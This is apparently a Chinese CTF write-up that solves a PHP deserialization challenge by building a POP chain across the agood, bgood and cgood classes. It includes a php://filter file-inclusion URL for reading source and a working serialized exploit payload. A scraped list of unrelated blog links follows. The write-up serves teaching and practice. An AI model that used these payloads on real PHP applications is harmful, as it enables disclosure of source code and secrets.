本题是某信有一次内部比赛的题目,涉及到pop链的构造问题,所以在这里与大家分享一下

题目

查看源码

逻辑是当参数fn存在且不包含string、zlib、flag这三个字符串时,进行文件包含
这里的过滤是为了防止我们直接读取到flag.php的源码,因为毕竟题名是反序列化
如果不存在fn,对code进行反序列化
先利用php://filter伪协议读取try.php源码
http://1.1.1.1:8080/?fn=php://filter/read=convert.base64-encode/resource=try.php
再base64解码之后拿到源码

 1 <?php
2 $test = "Hello world";
3 include "flag.php";
4 function check_fn($filename){
5 $result = preg_match("/string|zlib|flag/i", $filename);
6 if($result){
7 return FALSE;
8 }
9 return TRUE;
10 }
11
12 class agood {
13 private $gooda;
14 function __wakeup(){
15 $temp = $this->gooda . 'ctf';
16 }
17 }
18
19 class bgood {
20 private $items = array();
21 public function __toString() {
22 $item = $this->items;
23 $str = $item['ss']->sword;
24 return 'what the good?';
25 }
26 }
27
28 class cgood {
29 private $params = array();
30 public function __get($key) {
31 global $flag;
32 $tmp = $this->params[$key];
33 var_dump($$tmp);
34 }
35 }

分析

这里的思路是,对agood类反序列化触发__wakeup魔术方法,执行过程中调用了$gooda进行了字符串拼接,触发了bgood中的__toString魔术方法,方法内部调用$items[‘ss’]的变量,调用对象中不存在的成员变量,触发__get($key),方法,这里的$key就是我们所调用的变量的值,也就是sword。
最后输出$$tmp,也就是要将$tmp赋值为flag,给cgood中params[$sword]赋值为flag即可。
整理一下思路:
agood中的$this->gooda触发bgood中的__toString方法,将$this->gooda赋值为new bgood()。
bgood中的$items[‘ss’]触发cgood中的__get函数,给$items[‘ss’]赋值为new cgood()。
最后让cgood中的$params[‘sword’]=”flag”

payload

 1 <?php
2 class agood{
3 private $gooda;
4 function __construct()
5 {
6 $this->gooda = new bgood();
7 }
8
9 }
10 class bgood{
11
12 private $items = array();
13 function __construct(){
14 $this->items = array("ss"=>new cgood());
15 }
16 }
17
18 class cgood{
19 private $params = array("sword"=>"flag");
20 }
21 echo serialize(new agood());
22 ?>

由于变量都是私有的,所以需要在变量名之前加上%00类名%00
这里我们直接输出,%00是输出不出来的,所以手动加上
最后是:
http://1.1.1.1:8080/?code=O:5:%22agood%22:1:{s:12:%22%00agood%00gooda%22;O:5:%22bgood%22:1:{s:12:%22%00bgood%00items%22;a:1:{s:2:%22ss%22;O:5:%22cgood%22:1:{s:13:%22%00cgood%00params%22;a:1:{s:5:%22sword%22;s:4:%22flag%22;}}}}}

php反序列化之pop链构造的更多相关文章

  1. pop链构造

    class Person { private $name; private $sex; private $age; //__set()方法用来设置私有属性 function __set($proper ...

  2. Smarty 3.1.34 反序列化POP链(任意文件删除)

    Smarty <= 3.1.34,存在任意文件删除的POP链. Exp: <?php class Smarty_Internal_Template { public $smarty = n ...

  3. PHP反序列化进阶寻找和构造

    POP链的构造 如果关键代码不在魔术方法中,而是在一个类的普通方法中. 这时候可以通过寻找相同的函数名将类的属性和敏感函数的属性联系起来 <?phpclass lemon {    protec ...

  4. PHP审计之POP链挖掘

    PHP审计之POP链挖掘 前言 续上文中的php反序列化,继续来看,这个POP的挖掘思路.在其中一直构思基于AST去自动化挖掘POP链,迫于开发能力有限.没有进展,随后找到了一个别的师傅已经实现好的项 ...

  5. 2019强网杯web upload分析(pop链)

    参考链接:https://blog.csdn.net/qq_41173457/article/details/90724943 注意 只要namespace相同那就可以直接实例化同一namespace ...

  6. fastjson反序列化-JdbcRowSetImpl利用链

    fastjson反序列化-JdbcRowSetImpl利用链 JdbcRowSetImpl利用链 fastjson反序列化JdbcRowSetImpl - Afant1 - 博客园 (cnblogs. ...

  7. Codeforces 1082 D. Maximum Diameter Graph-树的直径-最长链-构造题 (Educational Codeforces Round 55 (Rated for Div. 2))

    D. Maximum Diameter Graph time limit per test 2 seconds memory limit per test 256 megabytes input st ...

  8. 浅谈PHP反序列化漏洞原理

    序列化与反序列化 序列化用途:方便于对象在网络中的传输和存储 0x01 php反序列化漏洞 在PHP应用中,序列化和反序列化一般用做缓存,比如session缓存,cookie等. 常见的序列化格式: ...

  9. PHP反序列化总结

    之前遇到过很多次php反序列化相关的内容,总结一下. (反)序列化给我们传递对象提供了一种简单的方法.serialize()将一个对象转换成一个字符串,unserialize()将字符串还原为一个对象 ...

随机推荐

  1. 材料资源和成本资源(Project)

    <Project2016 企业项目管理实践>张会斌 董方好 编著 第二种资源就是[材料资源]啦~ 拿到资源第一件事就是输入基本信息,这个,不复读了,复读得我自己都嫌烦.好吧,还得说明一下, ...

  2. Django记录操作日志、LogEntry的使用

    LogEntry是在后台开发中经常用到的模块,它在admin是默认开启的. 可以使用LogEntry模块记录所有用户的操作记录.一方面可以用来监督,另一方面可以用来做回滚. 1. 使用LogEntry ...

  3. LuoguP5139 z小f的函数 题解

    Content 给定 \(T\) 个二次函数 \(y=ax^2+bx+c\),有若干次操作,有一个操作编号 \(p\),保证仅为以下这五种: 操作 \(1\):给定 \(k\),将函数图像向上移动 \ ...

  4. 10分钟快速上车短视频风口:基于uniapp框架创建自己的仿抖音短视APP

    在今年也就是第48次发布的<中国互联网络发展状况统计报告>有这样一个数据,21年的上半年以来,我国我国网民规模达10.11亿,其中短视频用户达8.88亿.碎片化的生活场景下,短视频成为人们 ...

  5. SpringBoot内嵌ftp服务

    引入依赖 <!-- https://mvnrepository.com/artifact/org.apache.ftpserver/ftpserver-core --> <depen ...

  6. JAVA调用阿里云短信接口

    官方文档:https://help.aliyun.com/document_detail/101414.html?spm=a2c4g.11186623.6.626.2cef6220yxh5l7 jar ...

  7. JAVAWEB进行PC支付宝支付、查询订单支付状态

    官方文档:https://opendocs.alipay.com/open/270/105899 本地开发环境支付回调调试方法可以参考:https://www.cnblogs.com/pxblog/p ...

  8. 自动化中不能犯的4个RPA错误-RPA学习天地

    自动化在客户支持中的使用预计在未来几年会加速. 根据Dimension Research的数据,2022年72%的客户互动将通过机器人流程自动化(RPA)等新兴技术进行.电话互动将从41%下降到12% ...

  9. java源码——计算立体图形的表面积和体积

    计算球,圆柱,圆锥的表面积和体积. 利用接口实现. 上代码. Contants.java 常量存储类 package com.fuxuemingzhu.solidgraphics.contants; ...

  10. 【LeetCode】971. Flip Binary Tree To Match Preorder Traversal 解题报告(C++)

    作者: 负雪明烛 id: fuxuemingzhu 个人博客: http://fuxuemingzhu.cn/ 目录 题目描述 题目大意 解题方法 前序遍历 日期 题目地址:https://leetc ...